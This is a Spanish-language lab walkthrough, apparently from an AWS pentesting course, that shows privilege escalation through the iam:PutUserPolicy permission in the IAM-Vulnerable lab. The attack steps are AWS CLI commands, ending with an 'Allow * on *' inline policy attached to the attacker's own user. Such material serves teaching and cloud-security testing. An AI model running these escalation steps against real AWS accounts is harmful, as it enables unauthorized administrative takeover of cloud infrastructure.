PutUserPolicy
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
Este laboratorio no se encuentra actualmente disponible en el CPNA.
Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.
Un atacante con el permiso iam:PutUserPolicy
puede aumentar los privilegios creando o actualizando una política en línea para un usuario al que tiene acceso, agregando los permisos de esa política al atacante.
Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:
Listando las políticas del usuario que será auditado:
aws iam list-attached-user-policies --user-name privesc10-PutUserPolicy-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc10-PutUserPolicy --version-id v1

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc10-PutUserPolicy-role --role-session-name privesc10

A partir de este momento, estaremos trabajando con el usuario privesc10-PutUserPolicy-user.
Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del El whoami de AWS
Primero nos autenticamos:
aws configure --profile privesc10

El token se especificará dentro del archivo plano de credenciales.
Y luego validamos con el whoami de AWS:
aws sts get-caller-identity --profile privesc10

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc10-PutUserPolicy-user --profile privesc10

En este escenario, inicialmente tenemos que crear un documento de política que permite todas las acciones de AWS:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PermitirTodo",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Y posteriormente, tenemos que adjuntarnos la política que hemos creado a nuestro usuario:
aws iam put-user-policy --user-name privesc10-PutUserPolicy-user --policy-name politica-PrivEsc-Spartan --policy-document file://admin_politica.json --profile privesc10

Si revisamos ahora las políticas insertadas a nuestro usuario, lograremos apreciar que hemos adjuntado exitosamente la política de administrador a nuestro usuario inicial.

Última actualización
¿Te fue útil?